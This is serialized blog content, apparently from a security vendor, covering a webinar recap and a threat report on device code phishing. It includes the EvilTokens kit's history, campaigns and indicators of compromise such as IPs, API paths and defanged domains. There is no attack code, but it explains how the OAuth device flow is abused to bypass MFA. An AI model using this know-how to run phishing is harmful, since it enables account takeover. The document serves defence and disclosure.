",{"data":6066,"content":6067,"nodeType":889},{"uri":2135},[6068],{"data":6069,"marks":6070,"value":6071,"nodeType":865},{},[],"ConsentFix v3 toolkit",{"data":6073,"marks":6074,"value":6075,"nodeType":865},{},[]," posted on a well-known criminal forum, complete with a tutorial video, step-by-step instructions, and a zero-infrastructure approach using Cloudflare Workers for hosting, Dropbox for PDF delivery, and Pipedream as an automated exfiltration channel. \"They don’t need any infrastructure,\" John noted. \"They don’t have to host any servers or VPS. They could just cast this out to the whole wide world on the open internet.\"",{"data":6077,"content":6078,"nodeType":5786},{},[6079],{"data":6080,"content":6081,"nodeType":866},{},[6082],{"data":6083,"marks":6084,"value":6085,"nodeType":865},{},[],"Luke's assessment was clear: \"When we published our first article, we were thinking, surely we're going to see a huge increase in this technique. We haven't really — until now.\" ",{"data":6087,"content":6088,"nodeType":866},{},[6089],{"data":6090,"marks":6091,"value":6092,"nodeType":865},{},[],"With the criminal ecosystem now tooled up, the expectation is that ConsentFix will follow the same commoditization arc as other techniques discussed in the session.",{"data":6094,"content":6095,"nodeType":944},{},[],{"data":6097,"content":6098,"nodeType":953},{},[6099],{"data":6100,"marks":6101,"value":6103,"nodeType":865},{},[6102],{"type":935},"7. Device code phishing is the technique both speakers fear most (and it's just getting started)",{"data":6105,"content":6106,"nodeType":866},{},[6107,6111,6118],{"data":6108,"marks":6109,"value":6110,"nodeType":865},{},[],"When John asked Luke which technique felt most dangerous, the answer was immediate: ",{"data":6112,"content":6113,"nodeType":889},{"uri":2169},[6114],{"data":6115,"marks":6116,"value":6117,"nodeType":865},{},[],"device code phishing",{"data":6119,"marks":6120,"value":3017,"nodeType":865},{},[],{"data":6122,"content":6123,"nodeType":866},{},[6124],{"data":6125,"marks":6126,"value":6127,"nodeType":865},{},[],"The technique abuses the OAuth 2.0 device authorization grant flow — originally designed for input-constrained devices like TVs, but now primarily used in enterprise environments for CLI tool authentication (Azure CLI, GitHub CLI, AWS CLI). That everyday enterprise usage is exactly what makes the phishing so effective: users in developer-heavy organizations are already habituated to entering short codes as part of their normal workflow. The victim enters a code on a legitimate Microsoft login page, and if they're already authenticated, the entire compromise happens without entering a password or completing an MFA challenge.",{"data":6129,"content":6130,"nodeType":866},{},[6131],{"data":6132,"marks":6133,"value":6134,"nodeType":865},{},[],"Push is now tracking at least 12 distinct device code phishing kits, \"literally within the last couple of months — from basically zero to this.\" EvilTokens dominates at an estimated 90–95% of detected volume, but the kit landscape is diversifying fast. Luke's theory: every existing AiTM vendor is adding device code phishing as a module. When Push investigated the Venom kit, its AiTM component triggered existing Sneaky2FA detections — suggesting the same actors or codebase behind both. \"That's why we've seen such a rapid increase — it's worked so well that everyone is just doing the same thing now.\"",{"data":6136,"content":6137,"nodeType":866},{},[6138,6143],{"data":6139,"marks":6140,"value":6142,"nodeType":865},{},[6141],{"type":935},"What makes device code phishing uniquely dangerous is how little friction it presents to the victim.",{"data":6144,"marks":6145,"value":6146,"nodeType":865},{},[]," As Luke explained: \"It's purely identity-driven. It completely bypasses 2FA, even bypasses phishing-resistant factors like passkeys. And it's just not something that seems malicious to your average user. We haven't trained people to worry about being given a code and being told to type that code.\"",{"data":6148,"content":6149,"nodeType":5786},{},[6150],{"data":6151,"content":6152,"nodeType":866},{},[6153],{"data":6154,"marks":6155,"value":6156,"nodeType":865},{},[],"John's closing take: \"It still feels early and emergent, even though the technique has been known for a while. It hasn't been weaponized like it has right now. I think device code is just at the starting gun.\" ",{"data":6158,"content":6159,"nodeType":866},{},[6160,6164,6172],{"data":6161,"marks":6162,"value":6163,"nodeType":865},{},[],"The blast radius extends beyond Microsoft too — GitHub, Salesforce, and other platforms support the same underlying flow, and was exploited in 2025’s massive Salesforce campaign operated by ",{"data":6165,"content":6167,"nodeType":889},{"uri":6166},"https://pushsecurity.com/blog/analyzing-the-instructure-breach/",[6168],{"data":6169,"marks":6170,"value":3729,"nodeType":865},{},[6171],{"type":1191},{"data":6173,"marks":6174,"value":1066,"nodeType":865},{},[],{"data":6176,"content":6177,"nodeType":944},{},[],{"data":6179,"content":6180,"nodeType":953},{},[6181],{"data":6182,"marks":6183,"value":6185,"nodeType":865},{},[6184],{"type":935},"What ties all of this together",{"data":6187,"content":6188,"nodeType":866},{},[6189],{"data":6190,"marks":6191,"value":6192,"nodeType":865},{},[],"Every technique covered in the webinar — AiTM, ClickFix, InstallFix, ConsentFix, device code phishing — is designed to operate in or through the browser, abuse legitimate infrastructure and authentication flows, and evade the traditional security stack. Email gateways don't see them because the delivery vector increasingly isn't email. EDR doesn't reliably block them because the attack either breaks the process tree attribution (ClickFix) or never touches the endpoint at all (ConsentFix, device code phishing). Network proxies don't see them because the attack plays out in client-side page content, DOM interactions, and OAuth flows that are invisible to traffic inspection.",{"data":6194,"content":6195,"nodeType":866},{},[6196,6200,6206,6209,6216,6219,6226,6230,6237],{"data":6197,"marks":6198,"value":6199,"nodeType":865},{},[],"Push detects all of them — ",{"data":6201,"content":6202,"nodeType":889},{"uri":5856},[6203],{"data":6204,"marks":6205,"value":261,"nodeType":865},{},[],{"data":6207,"marks":6208,"value":5812,"nodeType":865},{},[],{"data":6210,"content":6211,"nodeType":889},{"uri":5940},[6212],{"data":6213,"marks":6214,"value":6215,"nodeType":865},{},[]," ClickFix and the *Fix family",{"data":6217,"marks":6218,"value":5812,"nodeType":865},{},[],{"data":6220,"content":6221,"nodeType":889},{"uri":2096},[6222],{"data":6223,"marks":6224,"value":6225,"nodeType":865},{},[]," ConsentFix",{"data":6227,"marks":6228,"value":6229,"nodeType":865},{},[],", and",{"data":6231,"content":6232,"nodeType":889},{"uri":2169},[6233],{"data":6234,"marks":6235,"value":6236,"nodeType":865},{},[]," device code phishing",{"data":6238,"marks":6239,"value":6240,"nodeType":865},{},[]," — through behavioral detection at the browser layer, regardless of delivery channel, domain reputation, or infrastructure rotation. The detections target technique-class behaviors rather than specific kits or indicators, which is why Push detected ConsentFix as a zero-day and why new kit variants are typically caught by existing detection logic before a kit-specific rule is even written.",{"data":6242,"content":6243,"nodeType":866},{},[6244,6247,6256,6260,6267],{"data":6245,"marks":6246,"value":21,"nodeType":865},{},[],{"data":6248,"content":6250,"nodeType":889},{"uri":6249},"https://pushsecurity.com/resources/browser-attacks-why-browser-new-battleground",[6251],{"data":6252,"marks":6253,"value":6255,"nodeType":865},{},[6254],{"type":1191},"Watch the full webinar",{"data":6257,"marks":6258,"value":6259,"nodeType":865},{},[]," to see the demos, attack chain timelines, and in-the-wild examples discussed in this post — or ",{"data":6261,"content":6262,"nodeType":889},{"uri":2644},[6263],{"data":6264,"marks":6265,"value":6266,"nodeType":865},{},[],"book a demo",{"data":6268,"marks":6269,"value":6270,"nodeType":865},{},[]," to see how Push handles them.",{"entries":6272},{"hyperlink":6273,"inline":6274,"block":6275},[],[],[6276],{"sys":6277,"__typename":6278,"type":6279,"ctaText":6280,"buttonLabel":6281,"buttonColour":6282,"buttonUrl":6249},{"id":5712},"CtaWidget","Custom","Watch the full webinar on demand.","Watch now","sunny orange",{"items":6284},[],{},"7 things we learned from our conversation with John Hammond","thought-leadership","2026-05-19T00:00:00.000Z",{"items":6290},[6291,9304,10025],{"__typename":1802,"sys":6292,"content":6294,"title":9287,"synopsis":9288,"hashTags":59,"publishedDate":9289,"slug":361,"tagsCollection":9290,"authorsCollection":9296},{"id":6293},"5DmCqTU2Tg4adYScA5vT2x",{"json":6295},{"data":6296,"content":6297,"nodeType":1663},{},[6298,6304,6324,6342,6349,6355,6362,6369,6372,6380,6386,6470,6490,6496,6503,6620,6626,6629,6637,6644,6650,6653,6661,6702,6708,6715,6722,6729,6736,6755,6761,6767,6773,6779,6785,6791,6797,6803,7066,7069,7077,7212,7218,7221,7229,7269,7403,7409,7412,7420,7567,7573,7576,7584,7590,7731,7737,7743,7746,7754,7901,7907,7910,7918,8064,8070,8073,8081,8176,8182,8185,8193,8287,8293,8296,8304,8310,8443,8449,8452,8460,8509,8515,8518,8526,8665,8671,8674,8682,8814,8820,8823,8831,8843,8850,8856,8862,8869,8890,8906,8912,8915,8923,8931,8952,8973,8978,8985,8992,9000,9007,9014,9021,9029,9036,9086,9092,9095,9103,9110,9117,9164,9170,9177,9180,9188,9195,9202,9222,9228,9235,9242,9249],{"data":6299,"content":6303,"nodeType":921},{"target":6300},{"sys":6301},{"id":6302,"type":918,"linkType":919},"XOFOeNqmRHeiRbkPOJrP1",[],{"data":6305,"content":6306,"nodeType":866},{},[6307,6311,6320],{"data":6308,"marks":6309,"value":6310,"nodeType":865},{},[],"The OAuth 2.0 ",{"data":6312,"content":6314,"nodeType":889},{"uri":6313},"https://www.rfc-editor.org/rfc/rfc8628",[6315],{"data":6316,"marks":6317,"value":6319,"nodeType":865},{},[6318],{"type":1191},"device authorization grant",{"data":6321,"marks":6322,"value":6323,"nodeType":865},{},[]," was designed to enable input-constrained devices to sign-in to apps by asking the user to complete the login on a separate device by entering a code. But today, it’s mainly used when accessing CLI tools, meaning that many users encounter the device code flow daily. ",{"data":6325,"content":6326,"nodeType":866},{},[6327,6330,6338],{"data":6328,"marks":6329,"value":21,"nodeType":865},{},[],{"data":6331,"content":6333,"nodeType":889},{"uri":6332},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_code_phishing/description.md",[6334],{"data":6335,"marks":6336,"value":360,"nodeType":865},{},[6337],{"type":1191},{"data":6339,"marks":6340,"value":6341,"nodeType":865},{},[]," attacks designed to exploit this authorization flow are not new — it was among the first techniques that we added to the SaaS attacks matrix back in 2023. But it’s taken until now for it to really enter mainstream adoption. ",{"data":6343,"content":6344,"nodeType":866},{},[6345],{"data":6346,"marks":6347,"value":6348,"nodeType":865},{},[],"The technique tricks a user into issuing access tokens for an attacker-controlled application (not a device, confusingly). Any app that supports device code logins can be a target. Popular examples include Microsoft, Google, Salesforce, GitHub, and AWS. That said, Microsoft is, as always, much more heavily targeted at scale now than any other app.",{"data":6350,"content":6354,"nodeType":921},{"target":6351},{"sys":6352},{"id":6353,"type":918,"linkType":919},"Al0pGH8vmOYiufDFiAbt0",[],{"data":6356,"content":6357,"nodeType":866},{},[6358],{"data":6359,"marks":6360,"value":6361,"nodeType":865},{},[],"We’ve always been surprised that attackers haven’t commonly used device code phishing in their standard toolkit, preferring session-stealing AITM phishing and other social engineering attacks like ClickFix. But it’s pretty clear from the recent data that the shift to mainstream adoption has now happened. ",{"data":6363,"content":6364,"nodeType":866},{},[6365],{"data":6366,"marks":6367,"value":6368,"nodeType":865},{},[],"In this blog post, we’ll explore the history of device code phishing, what’s changed for it to enter mainstream adoption, how it works under the hood (with recent examples), and what security teams can do about it. ",{"data":6370,"content":6371,"nodeType":944},{},[],{"data":6373,"content":6374,"nodeType":953},{},[6375],{"data":6376,"marks":6377,"value":6379,"nodeType":865},{},[6378],{"type":935},"A brief history of device code phishing",{"data":6381,"content":6385,"nodeType":921},{"target":6382},{"sys":6383},{"id":6384,"type":918,"linkType":919},"6u3DgvSGChtTJu7l9I7PG1",[],{"data":6387,"content":6388,"nodeType":866},{},[6389,6393,6402,6406,6415,6419,6428,6432,6441,6445,6454,6457,6466],{"data":6390,"marks":6391,"value":6392,"nodeType":865},{},[],"The technique was first documented in 2020, before Secureworks released the first tooling framework ",{"data":6394,"content":6396,"nodeType":889},{"uri":6395},"https://github.com/secureworks/PhishInSuits",[6397],{"data":6398,"marks":6399,"value":6401,"nodeType":865},{},[6400],{"type":1191},"PhishInSuits",{"data":6403,"marks":6404,"value":6405,"nodeType":865},{},[]," a year later. A host of research followed, including ",{"data":6407,"content":6409,"nodeType":889},{"uri":6408},"https://github.com/secureworks/squarephish",[6410],{"data":6411,"marks":6412,"value":6414,"nodeType":865},{},[6413],{"type":1191},"SquarePhish",{"data":6416,"marks":6417,"value":6418,"nodeType":865},{},[]," v1 (using QR codes to trigger the 15 minute code expiration window), Dirk-Jan Mollema’s ",{"data":6420,"content":6422,"nodeType":889},{"uri":6421},"https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/",[6423],{"data":6424,"marks":6425,"value":6427,"nodeType":865},{},[6426],{"type":1191},"key research",{"data":6429,"marks":6430,"value":6431,"nodeType":865},{},[]," (chaining device code phishing via Microsoft apps into Primary Refresh Token (PRT) acquisition to gain full browser-level access) and Dennis Kniep’s ",{"data":6433,"content":6435,"nodeType":889},{"uri":6434},"https://github.com/denniskniep/DeviceCodePhishing",[6436],{"data":6437,"marks":6438,"value":6440,"nodeType":865},{},[6439],{"type":1191},"DeviceCodePhishing tool",{"data":6442,"marks":6443,"value":6444,"nodeType":865},{},[]," which automates the entire flow with a headless browser. (Other recent noteworthy tools include ",{"data":6446,"content":6448,"nodeType":889},{"uri":6447},"https://github.com/nromsdahl/squarephish2",[6449],{"data":6450,"marks":6451,"value":6453,"nodeType":865},{},[6452],{"type":1191},"SquarePhish2",{"data":6455,"marks":6456,"value":1182,"nodeType":865},{},[],{"data":6458,"content":6460,"nodeType":889},{"uri":6459},"https://github.com/praetorian-inc/GitPhish",[6461],{"data":6462,"marks":6463,"value":6465,"nodeType":865},{},[6464],{"type":1191},"GitPhish",{"data":6467,"marks":6468,"value":6469,"nodeType":865},{},[],", so shout out to those too). ",{"data":6471,"content":6472,"nodeType":866},{},[6473,6477,6486],{"data":6474,"marks":6475,"value":6476,"nodeType":865},{},[],"It wasn’t until August 2024 that in-the-wild exploitation was first identified, with Russia-linked campaigns then continuing into 2025 before entering mainstream criminal adoption. This trend has continued to gather momentum in 2026 with ",{"data":6478,"content":6480,"nodeType":889},{"uri":6479},"https://thehackernews.com/2026/03/device-code-phishing-hits-340-microsoft.html",[6481],{"data":6482,"marks":6483,"value":6485,"nodeType":865},{},[6484],{"type":1191},"EvilTokens",{"data":6487,"marks":6488,"value":6489,"nodeType":865},{},[],", the first reported criminal PhaaS kit for device code phishing, already powering massive campaigns after launching in February. ",{"data":6491,"content":6495,"nodeType":921},{"target":6492},{"sys":6493},{"id":6494,"type":918,"linkType":919},"6xsfmbYEzpW7CdDiNzO6cu",[],{"data":6497,"content":6498,"nodeType":866},{},[6499],{"data":6500,"marks":6501,"value":6502,"nodeType":865},{},[],"Some of the noteworthy in-the-wild campaigns include:",{"data":6504,"content":6505,"nodeType":2374},{},[6506,6539,6559],{"data":6507,"content":6508,"nodeType":2309},{},[6509],{"data":6510,"content":6511,"nodeType":866},{},[6512,6516,6524,6527,6535],{"data":6513,"marks":6514,"value":6515,"nodeType":865},{},[],"Storm-2372, tracked by ",{"data":6517,"content":6519,"nodeType":889},{"uri":6518},"https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/",[6520],{"data":6521,"marks":6522,"value":6523,"nodeType":865},{},[],"Microsoft",{"data":6525,"marks":6526,"value":1182,"nodeType":865},{},[],{"data":6528,"content":6530,"nodeType":889},{"uri":6529},"https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/",[6531],{"data":6532,"marks":6533,"value":6534,"nodeType":865},{},[],"Volexity",{"data":6536,"marks":6537,"value":6538,"nodeType":865},{},[],", linked to multiple Russia-aligned clusters, combining spear-phishing and social engineering with device code phishing payloads against strategic intelligence targets.",{"data":6540,"content":6541,"nodeType":2309},{},[6542],{"data":6543,"content":6544,"nodeType":866},{},[6545,6549,6555],{"data":6546,"marks":6547,"value":6548,"nodeType":865},{},[],"The massive Salesforce campaign operated by ",{"data":6550,"content":6551,"nodeType":889},{"uri":2299},[6552],{"data":6553,"marks":6554,"value":2304,"nodeType":865},{},[],{"data":6556,"marks":6557,"value":6558,"nodeType":865},{},[]," (SLH) combined vishing with a device code phishing payload targeting Salesforce. The attacks morphed into a broader supply chain campaign using stolen credentials, ultimately resulting in 1000+ organizations being compromised and over 1.5 billion stolen records claimed. ",{"data":6560,"content":6561,"nodeType":2309},{},[6562],{"data":6563,"content":6564,"nodeType":866},{},[6565,6569,6577,6581,6590,6594,6603,6607,6616],{"data":6566,"marks":6567,"value":6568,"nodeType":865},{},[],"A massive spike in activity in late 2025 and 2026. This includes ",{"data":6570,"content":6572,"nodeType":889},{"uri":6571},"https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover",[6573],{"data":6574,"marks":6575,"value":6576,"nodeType":865},{},[],"multiple threat clusters",{"data":6578,"marks":6579,"value":6580,"nodeType":865},{},[]," tracked using device code phishing techniques, more ",{"data":6582,"content":6584,"nodeType":889},{"uri":6583},"https://www.bleepingcomputer.com/news/security/hackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks/",[6585],{"data":6586,"marks":6587,"value":6589,"nodeType":865},{},[6588],{"type":1191},"criminal operations linked to SLH",{"data":6591,"marks":6592,"value":6593,"nodeType":865},{},[],", and ",{"data":6595,"content":6597,"nodeType":889},{"uri":6596},"https://newtonpaul.com/blog/device-code-phish-update/",[6598],{"data":6599,"marks":6600,"value":6602,"nodeType":865},{},[6601],{"type":1191},"hundreds of organizations being targeted via PhaaS architecture,",{"data":6604,"marks":6605,"value":6606,"nodeType":865},{},[]," which looks to be the same campaign as the recently uncovered EvilTokens PhaaS reported by ",{"data":6608,"content":6610,"nodeType":889},{"uri":6609},"https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign",[6611],{"data":6612,"marks":6613,"value":6615,"nodeType":865},{},[6614],{"type":1191},"Huntress",{"data":6617,"marks":6618,"value":6619,"nodeType":865},{},[]," (featuring abuse of the Railway PaaS platform). ",{"data":6621,"content":6625,"nodeType":921},{"target":6622},{"sys":6623},{"id":6624,"type":918,"linkType":919},"3WLt6qLCK8CSwr0QZxZiMv",[],{"data":6627,"content":6628,"nodeType":944},{},[],{"data":6630,"content":6631,"nodeType":953},{},[6632],{"data":6633,"marks":6634,"value":6636,"nodeType":865},{},[6635],{"type":935},"What we’re seeing in the wild",{"data":6638,"content":6639,"nodeType":866},{},[6640],{"data":6641,"marks":6642,"value":6643,"nodeType":865},{},[],"As mentioned, we’ve also seen a huge spike in device code phishing activity this year, with multiple kits, page designs, and lure types. We’ve now identified 14+ distinct kits in circulation in the wild, with EvilTokens being the most prevalent. It’s clear that attackers are both spinning up their own kits and creative derivatives of others — we’ve seen kits that are visually similar to EvilTokens (close enough to be clones or forks) but with very different backends, for example AWS, Digital Ocean, 2cloud, and more. ",{"data":6645,"content":6649,"nodeType":921},{"target":6646},{"sys":6647},{"id":6648,"type":918,"linkType":919},"nJCbTw85GKXdqrlIkzZwi",[],{"data":6651,"content":6652,"nodeType":944},{},[],{"data":6654,"content":6655,"nodeType":1229},{},[6656],{"data":6657,"marks":6658,"value":6660,"nodeType":865},{},[6659],{"type":935},"“ANTIBOT” (EvilTokens)",{"data":6662,"content":6663,"nodeType":866},{},[6664,6667,6674,6677,6686,6690,6698],{"data":6665,"marks":6666,"value":21,"nodeType":865},{},[],{"data":6668,"content":6669,"nodeType":889},{"uri":6609},[6670],{"data":6671,"marks":6672,"value":6615,"nodeType":865},{},[6673],{"type":1191},{"data":6675,"marks":6676,"value":3202,"nodeType":865},{},[],{"data":6678,"content":6680,"nodeType":889},{"uri":6679},"https://blog.sekoia.io/new-widespread-eviltokens-kit-device-code-phishing-as-a-service-part-1/",[6681],{"data":6682,"marks":6683,"value":6685,"nodeType":865},{},[6684],{"type":1191},"Sekoia",{"data":6687,"marks":6688,"value":6689,"nodeType":865},{},[],", and researcher ",{"data":6691,"content":6692,"nodeType":889},{"uri":6596},[6693],{"data":6694,"marks":6695,"value":6697,"nodeType":865},{},[6696],{"type":1191},"Paul Newton",{"data":6699,"marks":6700,"value":6701,"nodeType":865},{},[]," have already done a great job of providing IOCs for the recent EvilTokens activity spike, including multiple backend Railway IPs in authentication events. ",{"data":6703,"content":6707,"nodeType":921},{"target":6704},{"sys":6705},{"id":6706,"type":918,"linkType":919},"1XNviq5OvMf5TEAc59F6g5",[],{"data":6709,"content":6710,"nodeType":866},{},[6711],{"data":6712,"marks":6713,"value":6714,"nodeType":865},{},[],"Beyond the most widely observed implementation featuring a Cloudflare Workers frontend and Railway backend for authentication, we’ve also tracked additional versions of EvilTokens in circulation since January 2026 (many of which remain live along with the current “production” version of the kit). ",{"data":6716,"content":6717,"nodeType":866},{},[6718],{"data":6719,"marks":6720,"value":6721,"nodeType":865},{},[],"You can see an evolution of the kit in the videos and screenshots below, from early precursors seen in mid-January, the first mentions of ANTIBOT in the page code in late-January, the parallel development of a “Courts Access” fork that lacks the ANTIBOT references, and finally production EvilTokens in February. One of the key threads between the versions is the presence of a generateFallbackCode() JS function and use of a /generate-codes API call. ",{"data":6723,"content":6724,"nodeType":866},{},[6725],{"data":6726,"marks":6727,"value":6728,"nodeType":865},{},[],"Early implementations were quite different, for example using ScrapingBee to generate the displayed code, and varied hosting on vercel, fastly, edgeone, and others. ",{"data":6730,"content":6731,"nodeType":866},{},[6732],{"data":6733,"marks":6734,"value":6735,"nodeType":865},{},[],"After initially appearing on custom domains, the production version is now predominantly hosted on Cloudflare Workers, as per the broader tracking of the campaign. The descriptive HTML comments around ANTIBOT functions have also been removed in later versions. ",{"data":6737,"content":6738,"nodeType":866},{},[6739,6743,6751],{"data":6740,"marks":6741,"value":6742,"nodeType":865},{},[],"The production version of EvilTokens showcases common ",{"data":6744,"content":6745,"nodeType":889},{"uri":1388},[6746],{"data":6747,"marks":6748,"value":6750,"nodeType":865},{},[6749],{"type":1191},"detection evasion techniques",{"data":6752,"marks":6753,"value":6754,"nodeType":865},{},[]," we've come to associate with PhaaS kits in the AiTM space — using multiple redirects through trusted sites before serving the malicious page, using bot protection to block security tools from analyzing the page, and so on. It also uses a pop-up window for the device code entry rather than a redirect, reducing the friction for the victim (it looks pretty convincing, too).",{"data":6756,"content":6760,"nodeType":921},{"target":6757},{"sys":6758},{"id":6759,"type":918,"linkType":919},"73rNOIEDPfP5IJwpFaxVc2",[],{"data":6762,"content":6766,"nodeType":921},{"target":6763},{"sys":6764},{"id":6765,"type":918,"linkType":919},"5BJSvOQUW9UpsQtoDNtgTC",[],{"data":6768,"content":6772,"nodeType":921},{"target":6769},{"sys":6770},{"id":6771,"type":918,"linkType":919},"3dbePPxVb4h4SauGg3glIL",[],{"data":6774,"content":6778,"nodeType":921},{"target":6775},{"sys":6776},{"id":6777,"type":918,"linkType":919},"1UOLcmNQvOsL5tdLSVuviq",[],{"data":6780,"content":6784,"nodeType":921},{"target":6781},{"sys":6782},{"id":6783,"type":918,"linkType":919},"55XRqLSwUUi2D4ZVpJboml",[],{"data":6786,"content":6790,"nodeType":921},{"target":6787},{"sys":6788},{"id":6789,"type":918,"linkType":919},"5wg5yr2Lo8t3f72ZV815c",[],{"data":6792,"content":6796,"nodeType":921},{"target":6793},{"sys":6794},{"id":6795,"type":918,"linkType":919},"35cowlL6i3rkGXOGmSxlI1",[],{"data":6798,"content":6799,"nodeType":866},{},[6800],{"data":6801,"marks":6802,"value":21,"nodeType":865},{},[],{"data":6804,"content":6805,"nodeType":1656},{},[6806,6830,6913,6965,6989],{"data":6807,"content":6808,"nodeType":1563},{},[6809,6820],{"data":6810,"content":6811,"nodeType":1577},{},[6812],{"data":6813,"content":6814,"nodeType":866},{},[6815],{"data":6816,"marks":6817,"value":6819,"nodeType":865},{},[6818],{"type":935},"Frontend infrastructure",{"data":6821,"content":6822,"nodeType":1577},{},[6823],{"data":6824,"content":6825,"nodeType":866},{},[6826],{"data":6827,"marks":6828,"value":6829,"nodeType":865},{},[],"Workers.dev, vercel.app, github.io, fastly.net, edgeone.dev",{"data":6831,"content":6832,"nodeType":1563},{},[6833,6844],{"data":6834,"content":6835,"nodeType":1577},{},[6836],{"data":6837,"content":6838,"nodeType":866},{},[6839],{"data":6840,"marks":6841,"value":6843,"nodeType":865},{},[6842],{"type":935},"Backend infrastructure",{"data":6845,"content":6846,"nodeType":1577},{},[6847,6877],{"data":6848,"content":6849,"nodeType":866},{},[6850,6855,6859,6864,6868,6873],{"data":6851,"marks":6852,"value":6854,"nodeType":865},{},[6853],{"type":935},"Example IP: (V3) ",{"data":6856,"marks":6857,"value":6858,"nodeType":865},{},[],"162.220.232.71 (Railway AS400940) ",{"data":6860,"marks":6861,"value":6863,"nodeType":865},{},[6862],{"type":935},"(V2)",{"data":6865,"marks":6866,"value":6867,"nodeType":865},{},[]," 71.11.42.193 ",{"data":6869,"marks":6870,"value":6872,"nodeType":865},{},[6871],{"type":935},"(V1) ",{"data":6874,"marks":6875,"value":6876,"nodeType":865},{},[],"72.218.25.107",{"data":6878,"content":6879,"nodeType":866},{},[6880,6885,6888,6893,6897,6901,6905,6909],{"data":6881,"marks":6882,"value":6884,"nodeType":865},{},[6883],{"type":935},"Backend User Agent:",{"data":6886,"marks":6887,"value":3757,"nodeType":865},{},[],{"data":6889,"marks":6890,"value":6892,"nodeType":865},{},[6891],{"type":935},"(V3) ",{"data":6894,"marks":6895,"value":6896,"nodeType":865},{},[],"node, ",{"data":6898,"marks":6899,"value":6863,"nodeType":865},{},[6900],{"type":935},{"data":6902,"marks":6903,"value":6904,"nodeType":865},{},[],", Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683 Safari/537.36 OPR/57.0.3098.91 ",{"data":6906,"marks":6907,"value":6872,"nodeType":865},{},[6908],{"type":935},{"data":6910,"marks":6911,"value":6912,"nodeType":865},{},[],"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/56.0.3051.52 ",{"data":6914,"content":6915,"nodeType":1563},{},[6916,6927],{"data":6917,"content":6918,"nodeType":1577},{},[6919],{"data":6920,"content":6921,"nodeType":866},{},[6922],{"data":6923,"marks":6924,"value":6926,"nodeType":865},{},[6925],{"type":935},"Network paths",{"data":6928,"content":6929,"nodeType":1577},{},[6930,6937,6944,6951,6958],{"data":6931,"content":6932,"nodeType":866},{},[6933],{"data":6934,"marks":6935,"value":6936,"nodeType":865},{},[],"/api/rate-limit ",{"data":6938,"content":6939,"nodeType":866},{},[6940],{"data":6941,"marks":6942,"value":6943,"nodeType":865},{},[],"/api/fingerprint ",{"data":6945,"content":6946,"nodeType":866},{},[6947],{"data":6948,"marks":6949,"value":6950,"nodeType":865},{},[],"/api/captcha-verify ",{"data":6952,"content":6953,"nodeType":866},{},[6954],{"data":6955,"marks":6956,"value":6957,"nodeType":865},{},[],"/api/init /api/generate-code ",{"data":6959,"content":6960,"nodeType":866},{},[6961],{"data":6962,"marks":6963,"value":6964,"nodeType":865},{},[],"/api/check-auth",{"data":6966,"content":6967,"nodeType":1563},{},[6968,6979],{"data":6969,"content":6970,"nodeType":1577},{},[6971],{"data":6972,"content":6973,"nodeType":866},{},[6974],{"data":6975,"marks":6976,"value":6978,"nodeType":865},{},[6977],{"type":935},"Lure themes",{"data":6980,"content":6981,"nodeType":1577},{},[6982],{"data":6983,"content":6984,"nodeType":866},{},[6985],{"data":6986,"marks":6987,"value":6988,"nodeType":865},{},[],"Various MS lures (e.g. Outlook, SharePoint, Teams) DocuSign, Adobe",{"data":6990,"content":6991,"nodeType":1563},{},[6992,7003],{"data":6993,"content":6994,"nodeType":1577},{},[6995],{"data":6996,"content":6997,"nodeType":866},{},[6998],{"data":6999,"marks":7000,"value":7002,"nodeType":865},{},[7001],{"type":935},"Example Domain",{"data":7004,"content":7005,"nodeType":1577},{},[7006,7018,7030,7042,7054],{"data":7007,"content":7008,"nodeType":866},{},[7009,7014],{"data":7010,"marks":7011,"value":7013,"nodeType":865},{},[7012],{"type":935},"Precursor A:",{"data":7015,"marks":7016,"value":7017,"nodeType":865},{},[]," teams-zpfvwnpxuc[.]edgeone.dev",{"data":7019,"content":7020,"nodeType":866},{},[7021,7026],{"data":7022,"marks":7023,"value":7025,"nodeType":865},{},[7024],{"type":935},"Precursor B: ",{"data":7027,"marks":7028,"value":7029,"nodeType":865},{},[],"authenticate-m365-accountsecurity-m-pi[.]vercel.app",{"data":7031,"content":7032,"nodeType":866},{},[7033,7038],{"data":7034,"marks":7035,"value":7037,"nodeType":865},{},[7036],{"type":935},"Courts Access: ",{"data":7039,"marks":7040,"value":7041,"nodeType":865},{},[],"secure-systems-validations-courts[.]vercel.app",{"data":7043,"content":7044,"nodeType":866},{},[7045,7050],{"data":7046,"marks":7047,"value":7049,"nodeType":865},{},[7048],{"type":935},"Early ANTIBOT:",{"data":7051,"marks":7052,"value":7053,"nodeType":865},{},[]," interface-auth-en-useast[.]global.ssl.fastly.net",{"data":7055,"content":7056,"nodeType":866},{},[7057,7062],{"data":7058,"marks":7059,"value":7061,"nodeType":865},{},[7060],{"type":935},"Production ANTIBOT: ",{"data":7063,"marks":7064,"value":7065,"nodeType":865},{},[],"index-z059-document-pending-reviewsign-xlss7994824[.]awalizer[.]workers.dev",{"data":7067,"content":7068,"nodeType":944},{},[],{"data":7070,"content":7071,"nodeType":1229},{},[7072],{"data":7073,"marks":7074,"value":7076,"nodeType":865},{},[7075],{"type":935},"“SHAREFILE”",{"data":7078,"content":7079,"nodeType":1656},{},[7080,7103,7142,7165,7188],{"data":7081,"content":7082,"nodeType":1563},{},[7083,7093],{"data":7084,"content":7085,"nodeType":1577},{},[7086],{"data":7087,"content":7088,"nodeType":866},{},[7089],{"data":7090,"marks":7091,"value":6819,"nodeType":865},{},[7092],{"type":935},{"data":7094,"content":7095,"nodeType":1577},{},[7096],{"data":7097,"content":7098,"nodeType":866},{},[7099],{"data":7100,"marks":7101,"value":7102,"nodeType":865},{},[],"No hosting markers 